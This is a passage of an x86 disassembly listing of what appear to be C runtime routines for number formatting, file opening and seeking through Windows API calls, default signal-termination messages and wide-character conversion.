[ebp+var_10] loc_44C562: ; CODE XREF: sub_44C1D1+387j movsx eax, [ebp+var_14] imul eax, 7597h push eax mov edx, 14F8B589h imul edx pop eax shr eax, 1Fh sar edx, 0Dh add eax, edx sub eax, 4 mov [ebp+var_14], ax test ax, ax jge short loc_44C5CD mov eax, 3 movsx edx, [ebp+var_14] sub eax, edx and eax, 0FFFFFFFCh mov [ebp+var_44], eax neg eax mov [ebp+var_14], ax mov [ebp+var_48], 0 jmp short loc_44C5C5 ; --------------------------------------------------------------------------- loc_44C5A9: ; CODE XREF: sub_44C1D1+3F8j test byte ptr [ebp+var_44], 1 jz short loc_44C5BF fld [ebp+var_10] mov eax, [ebp+var_48] fmul dbl_410054[eax*8] fstp [ebp+var_10] loc_44C5BF: ; CODE XREF: sub_44C1D1+3DCj sar [ebp+var_44], 1 inc [ebp+var_48] loc_44C5C5: ; CODE XREF: sub_44C1D1+3D6j cmp [ebp+var_44], 0 jg short loc_44C5A9 jmp short loc_44C61D ; --------------------------------------------------------------------------- loc_44C5CD: ; CODE XREF: sub_44C1D1+3B6j cmp [ebp+var_14], 0 jle short loc_44C61D fld dbl_4100A4 fstp [ebp+var_50] and [ebp+var_14], 0FFFCh movsx eax, [ebp+var_14] mov [ebp+var_44], eax mov [ebp+var_48], 0 jmp short loc_44C60E ; --------------------------------------------------------------------------- loc_44C5F2: ; CODE XREF: sub_44C1D1+441j test byte ptr [ebp+var_44], 1 jz short loc_44C608 fld [ebp+var_50] mov eax, [ebp+var_48] fmul dbl_410054[eax*8] fstp [ebp+var_50] loc_44C608: ; CODE XREF: sub_44C1D1+425j sar [ebp+var_44], 1 inc [ebp+var_48] loc_44C60E: ; CODE XREF: sub_44C1D1+41Fj cmp [ebp+var_44], 0 jg short loc_44C5F2 fld [ebp+var_10] fdiv [ebp+var_50] fstp [ebp+var_10] loc_44C61D: ; CODE XREF: sub_44C1D1+3FAj ; sub_44C1D1+401j mov al, [ebp+arg_4] cmp al, 66h jz short loc_44C628 cmp al, 46h jnz short loc_44C634 loc_44C628: ; CODE XREF: sub_44C1D1+451j movsx eax, [ebp+var_14] add eax, 0Ah mov [ebp+var_48], eax jmp short loc_44C63B ; --------------------------------------------------------------------------- loc_44C634: ; CODE XREF: sub_44C1D1+455j mov [ebp+var_48], 6 loc_44C63B: ; CODE XREF: sub_44C1D1+461j mov eax, [ebp+var_48] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_44], eax cmp eax, 13h jle short loc_44C655 mov [ebp+var_44], 13h loc_44C655: ; CODE XREF: sub_44C1D1+47Bj mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 30h jmp loc_44C6FB ; --------------------------------------------------------------------------- loc_44C666: ; CODE XREF: sub_44C1D1+53Cj fld [ebp+var_10] call sub_44D2D1 mov dword ptr [ebp+var_50+4], eax mov eax, [ebp+var_44] sub eax, 8 mov [ebp+var_44], eax test eax, eax jle short loc_44C68F fld [ebp+var_10] fild dword ptr [ebp+var_50+4] fsubp st(1), st fmul dbl_41009C fstp [ebp+var_10] loc_44C68F: ; CODE XREF: sub_44C1D1+4ABj mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov dword ptr [ebp+var_50], 8 jmp short loc_44C6CA ; --------------------------------------------------------------------------- loc_44C6A1: ; CODE XREF: sub_44C1D1+508j push 0Ah mov eax, dword ptr [ebp+var_50+4] push eax call sub_44D301 add esp, 8 mov dword ptr [ebp+var_58], eax mov dword ptr [ebp+var_58+4], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, dword ptr [ebp+var_58+4] add edx, 30h mov [eax], dl mov eax, dword ptr [ebp+var_58] mov dword ptr [ebp+var_50+4], eax loc_44C6CA: ; CODE XREF: sub_44C1D1+4CEj cmp dword ptr [ebp+var_50+4], 0 jle short loc_44C6DB mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_44C6A1 loc_44C6DB: ; CODE XREF: sub_44C1D1+4FDj jmp short loc_44C6E7 ; --------------------------------------------------------------------------- loc_44C6DD: ; CODE XREF: sub_44C1D1+51Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 30h loc_44C6E7: ; CODE XREF: sub_44C1D1:loc_44C6DBj mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_44C6DD mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax loc_44C6FB: ; CODE XREF: sub_44C1D1+490j cmp [ebp+var_44], 0 jle short loc_44C713 fld dbl_4100AC fcomp [ebp+var_10] fnstsw ax sahf jb loc_44C666 loc_44C713: ; CODE XREF: sub_44C1D1+52Ej mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax add [ebp+var_14], 7 jmp short loc_44C736 ; --------------------------------------------------------------------------- loc_44C72B: ; CODE XREF: sub_44C1D1+56Bj dec [ebp+var_44] sub [ebp+var_14], 1 inc [ebp+var_4] loc_44C736: ; CODE XREF: sub_44C1D1+558j mov eax, [ebp+var_4] cmp byte ptr [eax], 30h jz short loc_44C72B mov al, [ebp+arg_4] cmp al, 66h jz short loc_44C749 cmp al, 46h jnz short loc_44C753 loc_44C749: ; CODE XREF: sub_44C1D1+572j movsx eax, [ebp+var_14] inc eax mov dword ptr [ebp+var_50+4], eax jmp short loc_44C76E ; --------------------------------------------------------------------------- loc_44C753: ; CODE XREF: sub_44C1D1+576j mov al, [ebp+arg_4] cmp al, 65h jz short loc_44C75E cmp al, 45h jnz short loc_44C767 loc_44C75E: ; CODE XREF: sub_44C1D1+587j mov dword ptr [ebp+var_50+4], 1 jmp short loc_44C76E ; --------------------------------------------------------------------------- loc_44C767: ; CODE XREF: sub_44C1D1+58Bj mov dword ptr [ebp+var_50+4], 0 loc_44C76E: ; CODE XREF: sub_44C1D1+580j ; sub_44C1D1+594j mov eax, dword ptr [ebp+var_50+4] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_12], ax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_44C78D mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_44C78D: ; CODE XREF: sub_44C1D1+5B3j cmp [ebp+var_12], 0 jl short loc_44C806 mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_44C7B5 movsx eax, ax mov edx, [ebp+var_4] cmp byte ptr [edx+eax], 35h jb short loc_44C7B5 mov dword ptr [ebp+var_58], 39h jmp short loc_44C7BC ; --------------------------------------------------------------------------- loc_44C7B5: ; CODE XREF: sub_44C1D1+5CDj ; sub_44C1D1+5D9j mov dword ptr [ebp+var_58], 30h loc_44C7BC: ; CODE XREF: sub_44C1D1+5E2j mov eax, dword ptr [ebp+var_58] mov byte ptr [ebp+var_50+3], al movsx eax, [ebp+var_12] mov dword ptr [ebp+var_58+4], eax jmp short loc_44C7D0 ; --------------------------------------------------------------------------- loc_44C7CB: ; CODE XREF: sub_44C1D1+60Fj sub [ebp+var_12], 1 loc_44C7D0: ; CODE XREF: sub_44C1D1+5F8j mov eax, dword ptr [ebp+var_58+4] dec eax mov dword ptr [ebp+var_58+4], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_50+3] cmp [edx+eax], cl jz short loc_44C7CB cmp byte ptr [ebp+var_50+3], 39h jnz short loc_44C7F3 mov eax, dword ptr [ebp+var_58+4] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_44C7F3: ; CODE XREF: sub_44C1D1+615j cmp dword ptr [ebp+var_58+4], 0 jge short loc_44C806 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 1 loc_44C806: ; CODE XREF: sub_44C1D1+161j ; sub_44C1D1+365j ... movsx eax, [ebp+var_14] push eax movsx eax, [ebp+var_12] push eax mov eax, [ebp+var_4] push eax movzx eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44D331 add esp, 14h loc_44C825: ; CODE XREF: sub_44C1D1+B4j ; sub_44C1D1+106j mov esp, ebp pop ebp retn sub_44C1D1 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C831 proc near ; CODE XREF: sub_44B561+5Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea ebx, [ebp+arg_8] lea eax, [ebx+4] mov ebx, eax mov esi, [eax-4] push esi push 40h mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44C861 add esp, 10h pop esi pop ebx pop ebp retn sub_44C831 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C861 proc near ; CODE XREF: sub_44C831+1Bp var_3C = dword ptr -3Ch var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 3Ch push ebx push esi push edi mov ebx, [ebp+arg_4] mov [ebp+var_10], 0Ch mov [ebp+var_C], 0 test ebx, 80h jz short loc_44C890 mov [ebp+var_8], 0 mov [ebp+var_1], 10h jmp short loc_44C89B ; --------------------------------------------------------------------------- loc_44C890: ; CODE XREF: sub_44C861+20j mov [ebp+var_8], 1 mov [ebp+var_1], 0 loc_44C89B: ; CODE XREF: sub_44C861+2Dj test ebx, 8000h jnz short loc_44C8AF test ebx, 4000h jz short loc_44C8AF or [ebp+var_1], 80h loc_44C8AF: ; CODE XREF: sub_44C861+40j ; sub_44C861+48j mov edi, ebx and edi, 3 jz short loc_44C8C2 cmp edi, 1 jz short loc_44C8CB cmp edi, 2 jz short loc_44C8D4 jmp short loc_44C8DD ; --------------------------------------------------------------------------- loc_44C8C2: ; CODE XREF: sub_44C861+53j mov [ebp+var_20], 80000000h jmp short loc_44C8F0 ; --------------------------------------------------------------------------- loc_44C8CB: ; CODE XREF: sub_44C861+58j mov [ebp+var_20], 40000000h jmp short loc_44C8F0 ; --------------------------------------------------------------------------- loc_44C8D4: ; CODE XREF: sub_44C861+5Dj mov [ebp+var_20], 0C0000000h jmp short loc_44C8F0 ; --------------------------------------------------------------------------- loc_44C8DD: ; CODE XREF: sub_44C861+5Fj call sub_449321 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_44CC3A ; --------------------------------------------------------------------------- loc_44C8F0: ; CODE XREF: sub_44C861+68j ; sub_44C861+71j ... mov eax, [ebp+arg_8] cmp eax, 20h jz short loc_44C91D jg short loc_44C902 cmp [ebp+arg_8], 10h jz short loc_44C914 jmp short loc_44C938 ; --------------------------------------------------------------------------- loc_44C902: ; CODE XREF: sub_44C861+97j mov eax, [ebp+arg_8] cmp eax, 30h jz short loc_44C926 jl short loc_44C938 cmp [ebp+arg_8], 40h jz short loc_44C92F jmp short loc_44C938 ; --------------------------------------------------------------------------- loc_44C914: ; CODE XREF: sub_44C861+9Dj mov [ebp+var_28], 0 jmp short loc_44C94B ; --------------------------------------------------------------------------- loc_44C91D: ; CODE XREF: sub_44C861+95j mov [ebp+var_28], 1 jmp short loc_44C94B ; --------------------------------------------------------------------------- loc_44C926: ; CODE XREF: sub_44C861+A7j mov [ebp+var_28], 2 jmp short loc_44C94B ; --------------------------------------------------------------------------- loc_44C92F: ; CODE XREF: sub_44C861+AFj mov [ebp+var_28], 3 jmp short loc_44C94B ; --------------------------------------------------------------------------- loc_44C938: ; CODE XREF: sub_44C861+9Fj ; sub_44C861+A9j ... call sub_449321 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_44CC3A ; --------------------------------------------------------------------------- loc_44C94B: ; CODE XREF: sub_44C861+BAj ; sub_44C861+C3j ... mov eax, ebx and eax, 700h mov [ebp+var_3C], eax cmp eax, 300h jz short loc_44C9CF jg short loc_44C97D mov eax, [ebp+var_3C] cmp eax, 100h jz short loc_44C9B4 jg short loc_44C972 cmp [ebp+var_3C], 0 jz short loc_44C9AB jmp short loc_44C9D8 ; --------------------------------------------------------------------------- loc_44C972: ; CODE XREF: sub_44C861+107j cmp [ebp+var_3C], 200h jz short loc_44C9C6 jmp short loc_44C9D8 ; --------------------------------------------------------------------------- loc_44C97D: ; CODE XREF: sub_44C861+FBj mov eax, [ebp+var_3C] cmp eax, 500h jz short loc_44C9BD jg short loc_44C994 cmp [ebp+var_3C], 400h jz short loc_44C9AB jmp short loc_44C9D8 ; --------------------------------------------------------------------------- loc_44C994: ; CODE XREF: sub_44C861+126j mov eax, [ebp+var_3C] cmp eax, 600h jz short loc_44C9C6 jl short loc_44C9D8 cmp [ebp+var_3C], 700h jz short loc_44C9BD jmp short loc_44C9D8 ; --------------------------------------------------------------------------- loc_44C9AB: ; CODE XREF: sub_44C861+10Dj ; sub_44C861+12Fj mov [ebp+var_24], 3 jmp short loc_44C9EB ; --------------------------------------------------------------------------- loc_44C9B4: ; CODE XREF: sub_44C861+105j mov [ebp+var_24], 4 jmp short loc_44C9EB ; --------------------------------------------------------------------------- loc_44C9BD: ; CODE XREF: sub_44C861+124j ; sub_44C861+146j mov [ebp+var_24], 1 jmp short loc_44C9EB ; --------------------------------------------------------------------------- loc_44C9C6: ; CODE XREF: sub_44C861+118j ; sub_44C861+13Bj mov [ebp+var_24], 5 jmp short loc_44C9EB ; --------------------------------------------------------------------------- loc_44C9CF: ; CODE XREF: sub_44C861+F9j mov [ebp+var_24], 2 jmp short loc_44C9EB ; --------------------------------------------------------------------------- loc_44C9D8: ; CODE XREF: sub_44C861+10Fj ; sub_44C861+11Aj ... call sub_449321 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_44CC3A ; --------------------------------------------------------------------------- loc_44C9EB: ; CODE XREF: sub_44C861+151j ; sub_44C861+15Aj ... mov [ebp+var_14], 80h test ebx, 100h jz short loc_44CA19 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax add eax, 4 mov [ebp+var_2C], eax mov eax, [eax-4] mov [ebp+var_30], eax test byte ptr [ebp+var_30], 80h jnz short loc_44CA19 mov [ebp+var_14], 1 loc_44CA19: ; CODE XREF: sub_44C861+197j ; sub_44C861+1AFj test ebx, 40h jz short loc_44CA2F or [ebp+var_14], 4000000h or [ebp+var_20], 10000h loc_44CA2F: ; CODE XREF: sub_44C861+1BEj test ebx, 1000h jz short loc_44CA3E or [ebp+var_14], 100h loc_44CA3E: ; CODE XREF: sub_44C861+1D4j test ebx, 20h jz short loc_44CA4F or [ebp+var_14], 8000000h jmp short loc_44CA5E ; --------------------------------------------------------------------------- loc_44CA4F: ; CODE XREF: sub_44C861+1E3j test ebx, 10h jz short loc_44CA5E or [ebp+var_14], 10000000h loc_44CA5E: ; CODE XREF: sub_44C861+1ECj ; sub_44C861+1F4j call sub_44B851 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_44CA7D call sub_449321 mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp loc_44CC3A ; --------------------------------------------------------------------------- loc_44CA7D: ; CODE XREF: sub_44C861+207j push 0 mov eax, [ebp+var_14] push eax mov eax, [ebp+var_24] push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+var_28] push eax mov eax, [ebp+var_20] push eax mov eax, [ebp+arg_0] push eax call dword_411DD0 ; CreateFileA mov [ebp+var_18], eax cmp eax, 0FFFFFFFFh jnz short loc_44CAC3 call dword_411CE8 ; RtlGetLastWin32Error push eax call sub_4491C1 pop ecx push esi call sub_44BC61 pop ecx or eax, 0FFFFFFFFh jmp loc_44CC3A ; --------------------------------------------------------------------------- loc_44CAC3: ; CODE XREF: sub_44C861+244j mov eax, [ebp+var_18] push eax call dword_411DEC ; GetFileType mov [ebp+var_1C], eax test eax, eax jnz short loc_44CAFA mov eax, [ebp+var_18] push eax call dword_411CF8 ; CloseHandle call dword_411CE8 ; RtlGetLastWin32Error push eax call sub_4491C1 pop ecx push esi call sub_44BC61 pop ecx or eax, 0FFFFFFFFh jmp loc_44CC3A ; --------------------------------------------------------------------------- loc_44CAFA: ; CODE XREF: sub_44C861+271j cmp [ebp+var_1C], 2 jnz short loc_44CB06 or [ebp+var_1], 40h jmp short loc_44CB10 ; --------------------------------------------------------------------------- loc_44CB06: ; CODE XREF: sub_44C861+29Dj cmp [ebp+var_1C], 3 jnz short loc_44CB10 or [ebp+var_1], 8 loc_44CB10: ; CODE XREF: sub_44C861+2A3j ; sub_44C861+2A9j mov eax, [ebp+var_18] push eax push esi call sub_44BA31 add esp, 8 or [ebp+var_1], 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] mov cl, [ebp+var_1] mov [edx+eax+4], cl movzx eax, [ebp+var_1] test eax, 48h jnz loc_44CC08 test eax, 80h jz loc_44CC08 test ebx, 2 jz loc_44CC08 push 2 push 0FFFFFFFFh push esi call sub_44CD71 add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_44CB9E call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 83h jz loc_44CC08 push esi call sub_449D01 pop ecx push esi call sub_44BC61 pop ecx or eax, 0FFFFFFFFh jmp loc_44CC3A ; --------------------------------------------------------------------------- loc_44CB9E: ; CODE XREF: sub_44C861+314j mov [ebp+var_35], 0 push 1 lea eax, [ebp+var_35] push eax push esi call sub_44D811 add esp, 0Ch test eax, eax jnz short loc_44CBE0 cmp [ebp+var_35], 1Ah jnz short loc_44CBE0 mov eax, [ebp+var_34] push eax push esi call sub_44DBD1 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_44CBE0 push esi call sub_449D01 pop ecx push esi call sub_44BC61 pop ecx or eax, 0FFFFFFFFh jmp short loc_44CC3A ; --------------------------------------------------------------------------- loc_44CBE0: ; CODE XREF: sub_44C861+352j ; sub_44C861+358j ... push 0 push 0 push esi call sub_44CD71 add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_44CC08 push esi call sub_449D01 pop ecx push esi call sub_44BC61 pop ecx or eax, 0FFFFFFFFh jmp short loc_44CC3A ; --------------------------------------------------------------------------- loc_44CC08: ; CODE XREF: sub_44C861+2E4j ; sub_44C861+2EFj ... test [ebp+var_1], 48h jnz short loc_44CC31 test ebx, 8 jz short loc_44CC31 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 20h loc_44CC31: ; CODE XREF: sub_44C861+3ABj ; sub_44C861+3B3j push esi call sub_44BC61 pop ecx mov eax, esi loc_44CC3A: ; CODE XREF: sub_44C861+8Aj ; sub_44C861+E5j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44C861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44CC41 proc near ; CODE XREF: sub_44B5D1+2p var_14 = dword ptr -14h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push 1 mov eax, [ebp+arg_0] push eax call sub_44BCD1 add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_44CC68 or eax, 0FFFFFFFFh jmp loc_44CD65 ; --------------------------------------------------------------------------- loc_44CC68: ; CODE XREF: sub_44CC41+1Dj cmp ebx, 1 jz loc_44CD63 test ebx, ebx jz short loc_44CC8F push 0 mov eax, [ebp+arg_0] push eax call sub_44BCD1 add esp, 8 mov eax, [ebp+arg_0] push eax call ebx pop ecx jmp loc_44CD63 ; --------------------------------------------------------------------------- loc_44CC8F: ; CODE XREF: sub_44CC41+32j mov eax, [ebp+arg_0] cmp eax, 2 jl short loc_44CCE4 cmp eax, 0Bh jg short loc_44CCA3 jmp dword ptr byte_4100E0[eax*4] ; --------------------------------------------------------------------------- loc_44CCA3: ; CODE XREF: sub_44CC41+59j cmp [ebp+arg_0], 0Fh jz short loc_44CCDB jmp short loc_44CCE4 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aAbort ; "abort" jmp loc_44CD38 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aArithmeticErro ; "arithmetic error" jmp short loc_44CD38 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidExecuta ; "invalid executable code" jmp short loc_44CD38 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInterruption ; "interruption" jmp short loc_44CD38 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidStorage ; "invalid storage access" jmp short loc_44CD38 ; --------------------------------------------------------------------------- loc_44CCDB: ; CODE XREF: sub_44CC41+66j mov [ebp+var_4], offset aTerminationReq ; "termination request" jmp short loc_44CD38 ; --------------------------------------------------------------------------- loc_44CCE4: ; CODE XREF: sub_44CC41+54j ; sub_44CC41+68j lea eax, [ebp+var_5] mov [ebp+var_4], eax mov [ebp+var_5], 0 loc_44CCEE: ; CODE XREF: sub_44CC41+E3j mov eax, [ebp+var_4] dec eax mov [ebp+var_14], eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov ecx, 0Ah cdq idiv ecx lea eax, [edx+30h] mov edx, [ebp+var_14] mov [edx], al mov eax, [ebp+arg_0] push eax mov edx, 66666667h imul edx pop eax shr eax, 1Fh sar edx, 2 add eax, edx mov [ebp+arg_0], eax test eax, eax jnz short loc_44CCEE push offset dword_411324 push offset aSignal ; "signal #" call sub_44DD81 add esp, 8 loc_44CD38: ; CODE XREF: sub_44CC41+71j ; sub_44CC41+7Dj ... push offset dword_411324 mov eax, [ebp+var_4] push eax call sub_44DD81 add esp, 8 push offset dword_411324 push offset aTerminating ; " -- terminating\n" call sub_44DD81 add esp, 8 push 1 call sub_448961 pop ecx loc_44CD63: ; CODE XREF: sub_44CC41+2Aj ; sub_44CC41+49j xor eax, eax loc_44CD65: ; CODE XREF: sub_44CC41+22j pop ebx mov esp, ebp pop ebp retn sub_44CC41 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44CD71 proc near ; CODE XREF: sub_44B5F1+4Bp ; sub_44C861+306p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] push ebx call sub_44BAE1 pop ecx mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_44CD9A call sub_449321 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44CDE3 ; --------------------------------------------------------------------------- loc_44CD9A: ; CODE XREF: sub_44CD71+17j mov eax, [ebp+arg_8] push eax push 0 mov eax, [ebp+arg_4] push eax push edi call dword_411E14 ; SetFilePointer mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_44CDC6 call dword_411CE8 ; RtlGetLastWin32Error push eax call sub_4491C1 pop ecx or eax, 0FFFFFFFFh jmp short loc_44CDE3 ; --------------------------------------------------------------------------- loc_44CDC6: ; CODE XREF: sub_44CD71+41j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FDh mov eax, esi loc_44CDE3: ; CODE XREF: sub_44CD71+27j ; sub_44CD71+53j pop edi pop esi pop ebx pop ebp retn sub_44CD71 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A88 jnb short loc_44CE1C mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44CE2C loc_44CE1C: ; CODE XREF: DMN1:0044CDFFj call sub_449321 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44CE4F ; --------------------------------------------------------------------------- loc_44CE2C: ; CODE XREF: DMN1:0044CE1Aj push ebx call sub_44BC01 pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_44CD71 add esp, 0Ch mov esi, eax push ebx call sub_44BC61 pop ecx mov eax, esi loc_44CE4F: ; CODE XREF: DMN1:0044CE2Aj pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44CE61 proc near ; CODE XREF: sub_44BE31+9Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push ebx cmp off_411924, 0 jnz loc_44CF48 mov eax, [ebp+arg_0] mov [ebp+var_8], eax cmp [ebp+arg_0], 0 jnz short loc_44CE9C mov eax, [ebp+arg_8] mov ecx, dword_410194 mov ebx, dword_410198 mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_44D09E ; --------------------------------------------------------------------------- loc_44CE9C: ; CODE XREF: sub_44CE61+1Ej test [ebp+arg_4], 0FF80h jnz short loc_44CEBC mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] mov [eax], dl mov [ebp+var_4], 0 jmp short loc_44CF35 ; --------------------------------------------------------------------------- loc_44CEBC: ; CODE XREF: sub_44CE61+41j test [ebp+arg_4], 0F800h jnz short loc_44CEE5 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 6 or edx, 0C0h mov [eax], dl mov [ebp+var_4], 1 jmp short loc_44CF35 ; --------------------------------------------------------------------------- loc_44CEE5: ; CODE XREF: sub_44CE61+61j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 0Ch and edx, 0Fh or edx, 0E0h mov [eax], dl mov [ebp+var_4], 2 jmp short loc_44CF35 ; --------------------------------------------------------------------------- loc_44CF09: ; CODE XREF: sub_44CE61+D8j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, [ebp+var_4] dec edx mov [ebp+var_4], edx movzx ecx, [ebp+arg_4] mov [ebp+var_C], ecx lea ecx, [edx+edx*2] add ecx, ecx mov edx, [ebp+var_C] sar edx, cl and edx, 3Fh or edx, 80h mov [eax], dl loc_44CF35: ; CODE XREF: sub_44CE61+59j ; sub_44CE61+82j ... cmp [ebp+var_4], 0 jg short loc_44CF09 mov eax, [ebp+var_8] mov edx, [ebp+arg_0] sub eax, edx jmp loc_44D09E ; --------------------------------------------------------------------------- loc_44CF48: ; CODE XREF: sub_44CE61+Ej mov eax, [ebp+arg_8] movzx eax, word ptr [eax+6] mov byte ptr [ebp+var_4+3], al mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 cmp [ebp+arg_0], 0 jnz short loc_44CF93 mov eax, [ebp+arg_8] mov ecx, dword_410194 mov ebx, dword_410198 mov [eax], ecx mov [eax+4], ebx mov eax, off_411924 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_44D09E ; --------------------------------------------------------------------------- loc_44CF93: ; CODE XREF: sub_44CE61+10Aj ; sub_44CE61+229j mov al, byte ptr [ebp+var_4+3] cmp al, 10h jnb short loc_44CFD9 movzx eax, al mov eax, off_411964[eax*4] mov [ebp+var_18], eax test eax, eax jz short loc_44CFD9 movzx eax, byte_4118A0 cmp [ebp+var_8], eax jge short loc_44CFD9 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_44CFD9 movzx eax, byte ptr [ebp+arg_4] mov edx, [ebp+var_18] mov ax, [edx+eax*2] mov [ebp+var_12], ax test ax, ax jnz short loc_44CFEC loc_44CFD9: ; CODE XREF: sub_44CE61+137j ; sub_44CE61+148j ... call sub_449321 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44D09E ; --------------------------------------------------------------------------- loc_44CFEC: ; CODE XREF: sub_44CE61+176j movzx eax, [ebp+var_12] mov edx, eax and edx, 0F00h sar edx, 8 mov byte ptr [ebp+var_4+3], dl test eax, 8000h jz short loc_44D018 movzx eax, [ebp+arg_4] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_12] or eax, edx mov [ebp+arg_4], ax loc_44D018: ; CODE XREF: sub_44CE61+1A2j test [ebp+var_12], 1000h jz short loc_44D03A movzx eax, [ebp+arg_4] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+arg_4], ax loc_44D03A: ; CODE XREF: sub_44CE61+1BDj test [ebp+var_12], 2000h jz short loc_44D07E mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx test [ebp+var_12], 0FFh jz short loc_44D05C movzx edx, [ebp+var_12] mov 